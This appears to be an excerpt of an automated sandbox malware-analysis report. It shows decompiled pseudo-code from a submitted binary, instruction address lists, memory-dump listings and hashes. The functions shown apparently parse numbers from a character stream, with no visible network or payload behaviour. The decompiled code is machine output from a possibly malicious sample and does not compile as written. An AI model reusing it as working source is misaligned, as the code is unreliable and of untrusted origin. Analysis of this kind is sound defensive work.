										if(_t512 ==  *((intOrPtr*)(_t417 + 0x24))) {
											L74:
											_v71 = 0;
											__eflags = _v48;
											if(_v48 == 0) {
												goto L35;
											}
											goto L75;
										}
										_t515 = _t512;
										_t420 = memchr(_v100, _t515, _v88);
										__eflags = _t420;
										if(_t420 == 0) {
											goto L74;
										}
										_t421 = _t420 - _v100;
										_t532 = _t421;
										__eflags = _t532 - 0xf;
										_t533 =  >  ? _t421 - 6 : _t532;
										__eflags = _v92 - _t591;
										asm("sbb eax, edi");
										if(_v92 < _t591) {
											_t534 = _a4;
											_v72 = _v71 & 0x000000ff;
											_t425 =  *(_t534 + 8);
											__eflags = _t425 -  *((intOrPtr*)(_t534 + 0xc));
											if(_t425 <  *((intOrPtr*)(_t534 + 0xc))) {
												goto L111;
											}
											goto L117;
										}
										_t442 = _t591;
										_t567 = _t442 * _v84 >> 0x20;
										_t592 = _t442 * _v84;
										_t444 = _t533;
										_t583 = _t567 + _v80 * _t591 + _v84 * _t583;
										_t515 = _v104;
										asm("cdq");
										_t540 = _v108 - _t444;
										asm("sbb ebx, edx");
										__eflags = _t540 - _t592;
										asm("sbb ebx, edi");
										_v72 = _v72 | _t540 & 0xffffff00 | _t540 - _t592 > 0x00000000;
										_t591 = _t592 + _t444;
										asm("adc edi, edx");
										_t258 =  &_v76;
										 *_t258 = _v76 + 1;
										__eflags =  *_t258;
										goto L110;
									}
								}
								if(_v70 != 0) {
									_t513 = _v48;
									_v72 = 0;
									_t591 = 0;
									_v70 = 0;
									_t583 = 0;
									_v71 = _v70 & 0x000000ff;
									goto L34;
								} else {
									_v72 = 0;
									_t591 = 0;
									_t583 = 0;
									_v100 = (_v88 & 0x000000ff) + 0x30;
									while(1) {
										_t542 = _t512;
										if(_v88 > 0xa) {
											goto L71;
										}
										L23:
										if(_t512 <= 0x2f || _v100 <= _t512) {
											goto L74;
										} else {
											L25:
											_t543 = _t542 - 0x30;
											L26:
											if(_t543 == 0xffffffff) {
												goto L74;
											}
											L27:
											asm("sbb eax, edi");
											if(_v92 < _t591) {
												_t544 = _a4;
												_v72 = 1;
												_t453 =  *((intOrPtr*)(_t544 + 8));
												__eflags = _t453 -  *((intOrPtr*)(_t544 + 0xc));
												if(_t453 <  *((intOrPtr*)(_t544 + 0xc))) {
													L29:
													_a8 = 0xffffffff;
													 *((intOrPtr*)(_t544 + 8)) = _t453 + 1;
													L30:
													_v71 = 0;
													if( *((intOrPtr*)(_t544 + 8)) >=  *((intOrPtr*)(_t544 + 0xc))) {
														_t457 =  *((intOrPtr*)( *_t544 + 0x24))();
														_v71 = 0;
														__eflags = _t457 - 0xffffffff;
														if(_t457 == 0xffffffff) {
															_a4 = 0;
															_v71 = 1;
														}
													}
													L31:
													_t545 = _a12;
													_t522 = (_t512 & 0xffffff00 | _t545 != 0x00000000) & (_t562 & 0xffffff00 | _a16 == 0xffffffff);
													if(_t522 != 0) {
														_t562 = 0;
														__eflags =  *((intOrPtr*)(_t545 + 8)) -  *((intOrPtr*)(_t545 + 0xc));
														if( *((intOrPtr*)(_t545 + 8)) >=  *((intOrPtr*)(_t545 + 0xc))) {
															_t464 =  *((intOrPtr*)( *_t545 + 0x24))();
															_t562 = 0;
															__eflags = _t464 - 0xffffffff;
															if(_t464 == 0xffffffff) {
																_a12 = 0;
																_t562 = _t522;
															}
														}
													}
													if(_t562 != _v71) {
														_t512 = _a8;
														_t546 = _a4;
														__eflags = _t512 - 0xffffffff;
														if(_t512 != 0xffffffff) {
															while(1) {
																_t542 = _t512;
																if(_v88 > 0xa) {
																	goto L71;
																}
																goto L23;
															}
														}
														__eflags = _t546;
														if(_t546 == 0) {
															while(1) {
																_t542 = _t512;
																if(_v88 > 0xa) {
																	goto L71;
																}
																goto L23;
															}
														}
														_t459 =  *(_t546 + 8);
														__eflags = _t459 -  *((intOrPtr*)(_t546 + 0xc));
														if(_t459 >=  *((intOrPtr*)(_t546 + 0xc))) {
															_t461 =  *((intOrPtr*)( *_t546 + 0x24))();
															_t512 = _t461;
															__eflags = _t461 - 0xffffffff;
															if(_t461 != 0xffffffff) {
																continue;
															}
															__eflags = _v88 - 0xa;
															_a4 = 0;
															if(_v88 <= 0xa) {
																goto L74;
															}
															_t512 = 0xffffffff;
															_t542 = 0xffffffff;
															L72:
															_t178 = _t512 - 0x61; // 0x9e
															__eflags = _t178 - 5;
															if(_t178 > 5) {
																_t512 = _t512 - 0x41;
																__eflags = _t512 - 5;
																if(_t512 > 5) {
																	goto L74;
																}
																_t543 = _t542 - 0x37;
																goto L26;
															}
															_t543 = _t542 - 0x57;
															__eflags = _t543 - 0xffffffff;
															if(_t543 != 0xffffffff) {
																goto L27;
															}
															goto L74;
														} else {
															_t512 =  *_t459 & 0x000000ff;
															while(1) {
																_t542 = _t512;
																if(_v88 > 0xa) {
																	goto L71;
																}
																goto L23;
															}
														}
													} else {
														_v71 = 1;
														_t513 = _v48;
														goto L34;
													}
												}
												L84:
												 *((intOrPtr*)( *_t544 + 0x28))();
												_t544 = _a4;
												_a8 = 0xffffffff;
												__eflags = _t544;
												if(_t544 != 0) {
													goto L30;
												} else {
													_v71 = 1;
													goto L31;
												}
											}
											_t469 = _t591;
											_t562 = _t469 * _v84 >> 0x20;
											_t593 = _t469 * _v84;
											_t471 = _t543;
											_t583 = _t562 + _v80 * _t591 + _v84 * _t583;
											_t512 = _v104;
											asm("cdq");
											asm("sbb ebx, edx");
											asm("sbb ebx, edi");
											_v72 = _v72 | _v108 - _t471 & 0xffffff00 | _v108 - _t471 - _t593 > 0x00000000;
											_t544 = _a4;
											_t591 = _t593 + _t471;
											asm("adc edi, edx");
											_v76 = _v76 + 1;
											_t453 =  *((intOrPtr*)(_t544 + 8));
											if(_t453 >=  *((intOrPtr*)(_t544 + 0xc))) {
												goto L84;
											}
											goto L29;
										}
										L71:
										_t177 = _t512 - 0x30; // 0xcf
										__eflags = _t177 - 9;
										if(_t177 <= 9) {
											goto L25;
										}
										goto L72;
									}
								}
							}
							L15:
							_v88 = _t582;
							goto L16;
						}
						L48:
						_t473 = _v68;
						__eflags =  *((intOrPtr*)(_t473 + 0x24)) - _t512;
						if( *((intOrPtr*)(_t473 + 0x24)) == _t512) {
							goto L101;
						}
						__eflags =  *((intOrPtr*)(_t473 + 0x4e)) - _t512;
						if( *((intOrPtr*)(_t473 + 0x4e)) == _t512) {
							_t561 = _v69 & 0x000000ff ^ 0x00000001;
							__eflags = _t594 - 0xa;
							_t475 = _t473 & 0xffffff00 | _t594 == 0x0000000a | _t561;
							__eflags = _t475;
							if(_t475 == 0) {
								L51:
								_t476 = _v68;
								__eflags =  *((intOrPtr*)(_t476 + 0x4c)) - _t512;
								if( *((intOrPtr*)(_t476 + 0x4c)) == _t512) {
									L53:
									_t594 - 0x10 = _t588;
									_t561 = _t561 & 0xffffff00 | _t588 == 0x00000000;
									_t478 = _t476 & 0xffffff00 | _t594 == 0x00000010 | _t561;
									__eflags = _t478;
									if(_t478 == 0) {
										_t582 = _t594;
										_v70 = _t478;
										_v69 = 1;
										goto L15;
									} else {
										_v76 = 0;
										_t594 = 0x10;
										_v69 = 0;
										L55:
										_t552 = _a4;
										_t479 =  *(_t552 + 8);
										__eflags = _t479 -  *((intOrPtr*)(_t552 + 0xc));
										if(_t479 >=  *((intOrPtr*)(_t552 + 0xc))) {
											L65:
											 *((intOrPtr*)( *_t552 + 0x28))();
											_t553 = _a4;
											_a8 = 0xffffffff;
											__eflags = _t553;
											if(_t553 != 0) {
												L57:
												_v84 = 0;
												_t482 =  *(_t553 + 0xc);
												__eflags =  *(_t553 + 8) - _t482;
												if( *(_t553 + 8) >= _t482) {
													_t482 =  *((intOrPtr*)( *_t553 + 0x24))();
													__eflags = _t482 - 0xffffffff;
													if(_t482 == 0xffffffff) {
														_a4 = 0;
														_v84 = 1;
													}
												}
												goto L58;
											} else {
												_v84 = 1;
												L58:
												_t554 = _a12;
												_a16 - 0xffffffff = _t554;
												_t485 = (_t482 & 0xffffff00 | _t554 != 0x00000000) & (_t561 & 0xffffff00 | _a16 == 0xffffffff);
												__eflags = _t485;
												_v88 = _t485;
												if(_t485 != 0) {
													_t561 = 0;
													__eflags =  *((intOrPtr*)(_t554 + 8)) -  *((intOrPtr*)(_t554 + 0xc));
													if( *((intOrPtr*)(_t554 + 8)) >=  *((intOrPtr*)(_t554 + 0xc))) {
														_v70 = 0;
														_t492 =  *((intOrPtr*)( *_t554 + 0x24))();
														_t561 = _v70 & 0x000000ff;
														__eflags = _t492 - 0xffffffff;
														if(_t492 == 0xffffffff) {
															_a12 = 0;
															_t561 = _v88 & 0x000000ff;
														}
													}
												}
												__eflags = _t561 - _v84;
												if(_t561 != _v84) {
													_t551 = _a4;
													_t512 = _a8;
													__eflags = _t551;
													if(_t551 != 0) {
														__eflags = _t512 - 0xffffffff;
														if(_t512 == 0xffffffff) {
															_t488 =  *(_t551 + 8);
															__eflags = _t488 -  *((intOrPtr*)(_t551 + 0xc));
															if(_t488 >=  *((intOrPtr*)(_t551 + 0xc))) {
																_t490 =  *((intOrPtr*)( *_t551 + 0x24))();
																__eflags = _t490 - 0xffffffff;
																if(_t490 == 0xffffffff) {
																	_a4 = 0;
																	_t512 = 0xffffffff;
																} else {
																	_t512 = _t490;
																}
															} else {
																_t512 =  *_t488 & 0x000000ff;
															}
														}
													}
													__eflags = _v69;
													if(_v69 == 0) {
														goto L101;
													} else {
														_t472 =  *(_v68 + 0x10) & 0x000000ff;
														L46:
														__eflags = _t472;
														if(_t472 == 0) {
															goto L48;
														}
														goto L47;
													}
												} else {
													_t582 = _t594;
													_v70 = 1;
													goto L14;
												}
											}
										}
										L56:
										_t493 = _t479 + 1;
										__eflags = _t493;
										_a8 = 0xffffffff;
										 *(_t553 + 8) = _t493;
										goto L57;
									}
								}
								__eflags =  *((intOrPtr*)(_t476 + 0x4d)) - _t512;
								if( *((intOrPtr*)(_t476 + 0x4d)) != _t512) {
									_t582 = _t594;
									_v70 = 0;
									_v69 = 1;
									goto L14;
								}
								goto L53;
							}
							_t588 = _t594 - 8;
							_t561 = _t561 & 0xffffff00 | _t594 == 0x00000008;
							_t556 = _t551 & 0xffffff00 | _t588 == 0x00000000 | _t561;
							__eflags = _t556;
							_v69 = _t556;
							if(_t556 == 0) {
								_v76 = _v76 + 1;
								_v69 = _t475;
								goto L55;
							}
							_t553 = _a4;
							_v76 = 0;
							_t594 = 8;
							_t479 =  *(_t553 + 8);
							__eflags = _t479 -  *(_t553 + 0xc);
							if(_t479 <  *(_t553 + 0xc)) {
								goto L56;
							} else {
								goto L65;
							}
						}
						__eflags = _v69;
						if(_v69 == 0) {
							goto L101;
						}
						goto L51;
					}
				}
			}

0x004673e0
0x004673e4
0x004673f1
0x004673f7
0x004673ff
0x00467405
0x00467408
0x0046740b
0x00467410
0x0046741a
0x0046741f
0x0046741f
0x00467422
0x00467429
0x00467431
0x00467433
0x00467ca3
0x00467ca5
0x00467ca8
0x00467cab
0x00467cb3
0x00467cb6
0x00467cb9
0x00467cbd
0x00467cc0
0x00467cc6
0x00467ccd
0x00467ccd
0x00467cc0
0x00467cab
0x00467439
0x00467440
0x00467448
0x0046744a
0x0046744d
0x00467c70
0x00467c75
0x00467c78
0x00467c80
0x00467c83
0x00467c86
0x00467c8a
0x00467c8d
0x00467c93
0x00467c9a
0x00467c9a
0x00467c8d
0x00467c78
0x00467455
0x00467c10
0x00467c14
0x00467c16
0x00467c1a
0x00467c21
0x00000000
0x0046745b
0x0046745b
0x0046745e
0x00467464
0x00467d00
0x00467d03
0x00467d06
0x00467e23
0x00467e26
0x00467e29
0x00467ea6
0x00467ead
0x00467e2b
0x00467e2b
0x00467e2b
0x00467d0c
0x00467d0c
0x00467d0c
0x00467d06
0x0046746e
0x00467475
0x0046747b
0x0046747b
0x0046747f
0x0046748c
0x004676d0
0x004676d3
0x004676d6
0x00000000
0x00000000
0x00000000
0x00000000
0x004676d6
0x00467492
0x00467492
0x00467498
0x00000000
0x00000000
0x0046749e
0x004674a1
0x004674a7
0x00467e19
0x004674ad
0x004674b0
0x004674b0
0x004674b6
0x004674b9
0x004674c0
0x004674c3
0x004674c8
0x004674cf
0x004674d2
0x004674d5
0x004674db
0x00467d28
0x00467d2d
0x00000000
0x00000000
0x00000000
0x00000000
0x00467d14
0x00467d14
0x004676e0
0x004676e0
0x004676e7
0x004676e9
0x004676eb
0x004676ef
0x004676ef
0x004676f5
0x004676f5
0x004676f8
0x004676fb
0x00467a20
0x00467a20
0x00467a22
0x004674e1
0x004674e1
0x004674eb
0x004674f0
0x004674f3
0x004674fa
0x00467500
0x00467508
0x00467c30
0x00467c3a
0x00467c3f
0x00467c3f
0x00467512
0x00467519
0x00467520
0x00467522
0x00467529
0x00467529
0x00467532
0x00467536
0x0046753a
0x0046753d
0x00467540
0x00467544
0x00467547
0x0046754a
0x00467553
0x00467559
0x0046755c
0x00467560
0x00467565
0x00467a30
0x00467a34
0x00467e72
0x00467e75
0x00467e77
0x00467e79
0x00467e7d
0x00467e80
0x00467656
0x00467658
0x00467881
0x00467888
0x0046788b
0x00467890
0x00467899
0x004678a0
0x004678a7
0x004678aa
0x004678af
0x004678b1
0x00467cf3
0x00467cf3
0x004678b7
0x004678bb
0x004678c9
0x004678c9
0x004678cd
0x00000000
0x004678d3
0x004678d3
0x004678d7
0x00467cd4
0x00467cd8
0x00467cda
0x00467cdc
0x00467cdf
0x00467cdf
0x00467ce1
0x00467ce4
0x00467ce6
0x004678dd
0x004678dd
0x004678df
0x004678e3
0x004678e8
0x004678ea
0x004678ef
0x004678ef
0x004678f4
0x004678f7
0x004678fc
0x004678ff
0x004678ff
0x00000000
0x004678d7
0x004678bd
0x004678c0
0x004678c3
0x00467673
0x00467673
0x00467676
0x0046767c
0x00467686
0x0046768c
0x00467690
0x00467695
0x00467695
0x00467698
0x0046769e
0x004676a1
0x004676a6
0x004676a8
0x004676ab
0x004676ae
0x004676b1
0x004676b6
0x004676b9
0x004676c3
0x004676c3
0x00000000
0x004678c3
0x004678bb
0x0046765e
0x00467663
0x00000000
0x00000000
0x00000000
0x00000000
0x00467663
0x00467a3d
0x00467a41
0x00467a43
0x00467a45
0x00467a45
0x00467a48
0x00467a4b
0x00467a4b
0x00467a4e
0x00467a52
0x00467a54
0x00000000
0x00000000
0x00467a56
0x00467a59
0x00467bc0
0x00467bc3
0x00467bc6
0x00467bc8
0x00467e89
0x00467e8d
0x00000000
0x00467e8d
0x00467bce
0x00467bd1
0x00467bd7
0x00467bd7
0x00467bda
0x00467bdd
0x00467be4
0x00467be8
0x00467bea
0x00467d62
0x00467d6d
0x00467d75
0x00467d7d
0x00467d80
0x00467d85
0x00467d88
0x00467d88
0x00467bf4
0x00467bfb
0x00467bfe
0x00467c04
0x00467c07
0x00467ae2
0x00467ae2
0x00467ae5
0x00467ae8
0x00467aeb
0x00467b42
0x00467b44
0x00467b47
0x00467b4a
0x00467b51
0x00467b53
0x00467afa
0x00467afa
0x00467b01
0x00467b04
0x00467df4
0x00467df7
0x00467dfb
0x00467dfe
0x00467e08
0x00467e0f
0x00467e0f
0x00467dfe
0x00467b0a
0x00467b0a
0x00467b0d
0x00467b11
0x00467b14
0x00467b19
0x00467b19
0x00467b1b
0x00467b90
0x00467b95
0x00467b98
0x00467ba0
0x00467ba3
0x00467ba5
0x00467ba8
0x00467bae
0x00467bb5
0x00467bb5
0x00467ba8
0x00467b98
0x00467b1d
0x00467b20
0x00467b60
0x00467b63
0x00467b66
0x00467b68
0x00467b6e
0x00467b71
0x00467b77
0x00467b7a
0x00467b7d
0x00467e34
0x00467e37
0x00467e39
0x00467e3c
0x00467e42
0x00467e49
0x00467e49
0x00467b83
0x00467b83
0x00467b83
0x00467b7d
0x00467b71
0x00000000
0x00467b22
0x00467b22
0x00000000
0x00467b22
0x00467b20
0x00467b59
0x00000000
0x00467b59
0x00467aed
0x00467aed
0x00467aed
0x00467af0
0x00467af7
0x00000000
0x00467af7
0x00467a5f
0x00467a5f
0x00467a62
0x00467a65
0x00467872
0x00467875
0x00467879
0x0046787b
0x00000000
0x00000000
0x00000000
0x0046787b
0x00467a6e
0x00467a7f
0x00467a84
0x00467a86
0x00000000
0x00000000
0x00467a8c
0x00467a8f
0x00467a94
0x00467a97
0x00467a9d
0x00467aa0
0x00467aa2
0x00467b34
0x00467b37
0x00467b3a
0x00467b3d
0x00467b40
0x00000000
0x00000000
0x00000000
0x00467b40
0x00467ab8
0x00467aba
0x00467abd
0x00467ac1
0x00467ac6
0x00467ac8
0x00467acb
0x00467acc
0x00467ace
0x00467ad0
0x00467ad2
0x00467ad7
0x00467ada
0x00467adc
0x00467ade
0x00467ade
0x00467ade
0x00000000
0x00467ade
0x00467a4b
0x0046756f
0x00467e57
0x00467e5a
0x00467e5e
0x00467e60
0x00467e64
0x00467e66
0x00000000
0x00467575
0x00467579
0x0046757d
0x0046757f
0x00467584
0x00467590
0x00467594
0x00467597
0x00000000
0x00000000
0x0046759d
0x004675a0
0x00000000
0x004675af
0x004675af
0x004675af
0x004675b2
0x004675b5
0x00000000
0x00000000
0x004675bb
0x004675c1
0x004675c3
0x00467910
0x00467913
0x00467917
0x0046791a
0x0046791d
0x00467612
0x00467615
0x0046761c
0x0046761f
0x0046761f
0x00467629
0x00467d42
0x00467d45
0x00467d49
0x00467d4c
0x00467d52
0x00467d59
0x00467d59
0x00467d4c
0x0046762f
0x0046762f
0x0046763e
0x00467640
0x004679b0
0x004679b5
0x004679b8
0x004679c0
0x004679c3
0x004679c5
0x004679c8
0x004679ce
0x004679d5
0x004679d5
0x004679c8
0x004679b8
0x00467649
0x00467980
0x00467983
0x00467986
0x00467989
0x00467590
0x00467594
0x00467597
0x00000000
0x00000000
0x00000000
0x00467597
0x00467590
0x0046798f
0x00467991
0x00467590
0x00467594
0x00467597
0x00000000
0x00000000
0x00000000
0x00467597
0x00467590
0x00467997
0x0046799a
0x0046799d
0x00467dc4
0x00467dc7
0x00467dc9
0x00467dcc
0x00000000
0x00000000
0x00467dd2
0x00467dd6
0x00467ddd
0x00000000
0x00000000
0x00467de3
0x00467de8
0x0046785b
0x0046785b
0x0046785e
0x00467860
0x004679e0
0x004679e3
0x004679e6
0x00000000
0x00000000
0x004679ec
0x00000000
0x004679ec
0x00467866
0x00467869
0x0046786c
0x00000000
0x00000000
0x00000000
0x004679a3
0x004679a3
0x00467590
0x00467594
0x00467597
0x00000000
0x00000000
0x00000000
0x00467597
0x00467590
0x0046764f
0x0046764f
0x00467653
0x00000000
0x00467653
0x00467649
0x00467923
0x00467925
0x00467928
0x0046792b
0x00467932
0x00467934
0x00000000
0x0046793a
0x0046793a
0x00000000
0x0046793a
0x00467934
0x004675d9
0x004675db
0x004675de
0x004675e2
0x004675e7
0x004675e9
0x004675ec
0x004675ef
0x004675f3
0x004675f8
0x004675fb
0x004675fe
0x00467600
0x00467602
0x00467606
0x0046760c
0x00000000
0x00000000
0x00000000
0x0046760c
0x00467850
0x00467850
0x00467853
0x00467855
0x00000000
0x00000000
0x00000000
0x00467855
0x00467590
0x0046756f
0x004674ed
0x004674ed
0x00000000
0x004674ed
0x00467701
0x00467701
0x00467704
0x00467707
0x00000000
0x00000000
0x0046770d
0x00467710
0x004677b4
0x004677b7
0x004677bd
0x004677bd
0x004677bf
0x00467720
0x00467720
0x00467723
0x00467726
0x00467731
0x00467737
0x00467739
0x0046773c
0x0046773c
0x0046773e
0x00467d9f
0x00467da1
0x00467da4
0x00000000
0x00467744
0x00467744
0x0046774b
0x00467750
0x00467754
0x00467754
0x00467757
0x0046775a
0x0046775d
0x00467800
0x00467802
0x00467805
0x00467808
0x0046780f
0x00467811
0x00467770
0x00467770
0x00467774
0x00467777
0x0046777a
0x00467c52
0x00467c55
0x00467c58
0x00467c5e
0x00467c65
0x00467c65
0x00467c58
0x00000000
0x00467817
0x00467817
0x00467780
0x00467780
0x0046778a
0x0046778f
0x0046778f
0x00467791
0x00467794
0x00467943
0x00467948
0x0046794b
0x00467953
0x00467956
0x00467959
0x0046795d
0x00467960
0x00467966
0x0046796d
0x0046796d
0x00467960
0x0046794b
0x0046779a
0x0046779d
0x00467820
0x00467823
0x00467826
0x00467828
0x0046782a
0x0046782d
0x004679f4
0x004679f7
0x004679fa
0x00467daf
0x00467db2
0x00467db5
0x00467e95
0x00467e9c
0x00467dbb
0x00467dbb
0x00467dbb
0x00467a00
0x00467a00
0x00467a00
0x004679fa
0x0046782d
0x00467833
0x00467837
0x00000000
0x0046783d
0x00467840
0x004676f1
0x004676f1
0x004676f3
0x00000000
0x00000000
0x00000000
0x004676f3
0x004677a3
0x004677a3
0x004677a5
0x00000000
0x004677a5
0x0046779d
0x00467811
0x00467763
0x00467763
0x00467763
0x00467766
0x0046776d
0x00000000
0x0046776d
0x0046773e
0x00467728
0x0046772b
0x00467d90
0x00467d92
0x00467d96
0x00000000
0x00467d96
0x00000000
0x0046772b
0x004677ca
0x004677cd
0x004677d0
0x004677d0
0x004677d2
0x004677d5
0x00467a10
0x00467a14
0x00000000
0x00467a14
0x004677db
0x004677de
0x004677e5
0x004677ea
0x004677ed
0x004677f0
0x00000000
0x00000000
0x00000000
0x00000000
0x004677f0
0x00467716
0x0046771a
0x00000000
0x00000000
0x00000000
0x0046771a
0x0046747f

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 440980172e0422381981794a25a7316f424be4c94e8e8f03ff79d7bb5a31303a
Instruction ID: 1f0c148bbf7931c5d77569ccc35d56da1e39de970d45085e3f966bf5628386b1
Opcode Fuzzy Hash: 440980172e0422381981794a25a7316f424be4c94e8e8f03ff79d7bb5a31303a
Instruction Fuzzy Hash: A36291709083588FDB10CF68C49479EBFF1AF05328F28865AD4699F392E3799D46CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00467EE0 Relevance: 2.0, APIs: 1, Instructions: 715
COMMONCrypto

Download Yara Rule

C-Code - Quality: 28%

			E00467EE0(signed int __edx, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int _a20, signed int* _a24, signed int* _a28) {
				void* _v16;
				char _v44;
				signed int _v48;
				signed int _v52;
				void* _v53;
				intOrPtr _v64;
				signed int _v68;
				signed int _v69;
				signed int _v70;
				signed int _v71;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				int _v88;
				intOrPtr _v92;
				signed char _v96;
				void* _v100;
				signed int _v104;
				char _v105;
				signed int _v116;
				signed int _v120;
				signed int* _v124;
				char _v128;
				signed int _t372;
				signed char _t374;
				signed int _t382;
				signed int _t389;
				signed int* _t391;
				signed int _t393;
				signed int* _t395;
				signed int* _t397;
				signed int _t402;
				signed int _t403;
				signed int _t404;
				signed int _t407;
				void* _t408;
				signed int _t412;
				signed int _t413;
				void* _t416;
				signed char* _t418;
				signed int _t420;
				void* _t422;
				signed int _t429;
				signed int _t432;
				intOrPtr _t440;
				void* _t444;
				signed char* _t446;
				signed int _t448;
				void* _t451;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				signed int _t459;
				signed int _t461;
				signed int _t462;
				signed int _t464;
				signed int _t465;
				signed int _t468;
				int _t471;
				signed char* _t474;
				signed int _t476;
				void* _t478;
				signed int _t479;
				signed int _t480;
				intOrPtr _t481;
				signed int _t485;
				signed char* _t490;
				signed int _t492;
				void* _t494;
				signed int _t496;
				signed int _t497;
				signed int _t498;
				signed int _t499;
				int _t501;
				signed int _t503;
				signed char _t509;
				intOrPtr* _t515;
				intOrPtr* _t516;
				signed int _t519;
				void* _t520;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				signed int _t524;
				signed int _t525;
				signed int _t527;
				signed int _t529;
				signed int _t530;
				signed int _t531;
				intOrPtr* _t532;
				signed int _t533;
				intOrPtr* _t536;
				signed int _t537;
				intOrPtr* _t538;
				signed int _t539;
				intOrPtr* _t540;
				signed char _t542;
				intOrPtr* _t543;
				signed int _t544;
				signed int _t546;
				signed int _t548;
				signed int _t549;
				signed int _t551;
				signed char _t552;
				signed int _t554;
				signed int _t563;
				int _t567;
				signed int _t568;
				signed char _t572;
				signed char _t574;
				signed int _t575;
				signed int _t576;
				int _t578;
				void* _t579;
				void* _t581;

				_t544 = __edx;
				_t567 = 8;
				_t496 = _a20;
				_v124 = _t496 + 0x6c;
				_v68 = E0044E1C0(__eflags);
				_t581 = _t579 - 0x68;
				_t372 =  *(_t496 + 0xc) & 0x0000004a;
				_t574 = _t372;
				if(_t372 != 0x40) {
					_t372 = 0xa;
					_t567 =  !=  ? 0xa : 0x10;
				}
				_t515 = _a4;
				_t497 = _t496 & 0xffffff00 | _a8 == 0xffffffff;
				_t546 = (_t544 & 0xffffff00 | _t515 != 0x00000000) & _t497;
				if(_t546 != 0) {
					_t497 = 0;
					_t372 =  *(_t515 + 0xc);
					__eflags =  *((intOrPtr*)(_t515 + 8)) - _t372;
					if( *((intOrPtr*)(_t515 + 8)) >= _t372) {
						_v69 = _t546;
						_t372 =  *((intOrPtr*)( *_t515 + 0x24))();
						_t546 = _v69 & 0x000000ff;
						__eflags = _t372 - 0xffffffff;
						if(_t372 == 0xffffffff) {
							_a4 = 0;
							_t497 = _t546;
						}
					}
				}
				_t516 = _a12;
				_t547 = _t546 & 0xffffff00 | _a16 == 0xffffffff;
				_t374 = (_t372 & 0xffffff00 | _t516 != 0x00000000) & _t547;
				_v69 = _t374;
				if(_t374 != 0) {
					_t547 = 0;
					__eflags =  *((intOrPtr*)(_t516 + 8)) -  *((intOrPtr*)(_t516 + 0xc));
					if( *((intOrPtr*)(_t516 + 8)) >=  *((intOrPtr*)(_t516 + 0xc))) {
						_v76 = 0;
						_t494 =  *((intOrPtr*)( *_t516 + 0x24))();
						_t547 = _v76 & 0x000000ff;
						__eflags = _t494 - 0xffffffff;
						if(_t494 == 0xffffffff) {
							_a12 = 0;
							_t547 = _v69 & 0x000000ff;
						}
					}
				}
				if(_t547 == _t497) {
					_v105 = 0;
					_t498 = 0;
					_v70 = 1;
					_v76 = 0;
					_v69 = 0;
					goto L14;
				} else {
					_t498 = _a8;
					_t536 = _a4;
					if(_t498 == 0xffffffff && _t536 != 0) {
						_t490 =  *(_t536 + 8);
						__eflags = _t490 -  *((intOrPtr*)(_t536 + 0xc));
						if(_t490 >=  *((intOrPtr*)(_t536 + 0xc))) {
							_t492 =  *((intOrPtr*)( *_t536 + 0x24))();
							__eflags = _t492 - 0xffffffff;
							if(_t492 == 0xffffffff) {
								_a4 = 0;
								_t498 = 0xffffffff;
							} else {
								_t498 = _t492;
							}
						} else {
							_t498 =  *_t490 & 0x000000ff;
						}
					}
					_t537 = _v68;
					_t458 =  *(_t537 + 0x10) & 0x000000ff;
					_t24 =  &_v105;
					 *_t24 = ( *(_t537 + 0x4a) & 0x000000ff) == _t498;
					if( *_t24 == 0 ||  *((intOrPtr*)(_t537 + 0x4b)) == _t498) {
						if(_t458 != 0) {
							_t563 = _v68;
							__eflags =  *((intOrPtr*)(_t563 + 0x25)) - _t498;
							if( *((intOrPtr*)(_t563 + 0x25)) != _t498) {
								goto L10;
							} else {
								goto L43;
							}
						}
						L10:
						_t547 = _v68;
						if( *((intOrPtr*)(_t547 + 0x24)) == _t498) {
							goto L43;
						}
						_t543 = _a4;
						_t481 =  *((intOrPtr*)(_t543 + 8));
						if(_t481 >=  *((intOrPtr*)(_t543 + 0xc))) {
							 *((intOrPtr*)( *_t543 + 0x28))();
						} else {
							 *((intOrPtr*)(_t543 + 8)) = _t481 + 1;
						}
						_t537 =  &_a4;
						_a8 = 0xffffffff;
						_v124 =  &_a12;
						_t485 = E00450A90( &_a12, _t537, _t547);
						_v76 = 0;
						_t581 = _t581 - 4;
						_v70 = _t485;
						_v69 = 0;
						if(_t485 == 0) {
							_t498 = E00450B30( &_a4, _a8);
							_t458 =  *(_v68 + 0x10) & 0x000000ff;
							goto L43;
						} else {
							goto L14;
						}
					} else {
						_v105 = 0;
						L43:
						_v76 = 0;
						_t547 = _t574;
						_t578 = _t567;
						_v69 = 0;
						_t572 = _t547;
						goto L44;
						L45:
						_t480 = _v68;
						__eflags =  *((intOrPtr*)(_t480 + 0x25)) - _t498;
						if( *((intOrPtr*)(_t480 + 0x25)) == _t498) {
							L99:
							_t567 = _t578;
							_v70 = 0;
							L14:
							_v88 = 0x16;
							if(_t567 == 0x10) {
								L16:
								_v48 = 0;
								_v52 =  &_v44;
								_v44 = 0;
								if( *(_v68 + 0x10) != 0) {
									_v124 = 0x20;
									E004B2380( &_v52);
									_t581 = _t581 - 4;
								}
								_v116 = _t567;
								asm("cdq");
								_v124 = 0xffffffff;
								 *(_t581 + 0xc) = _t547;
								_v120 = 0xffffffff;
								_v84 = _t567;
								_v80 = _t547;
								_v92 = E004386D0();
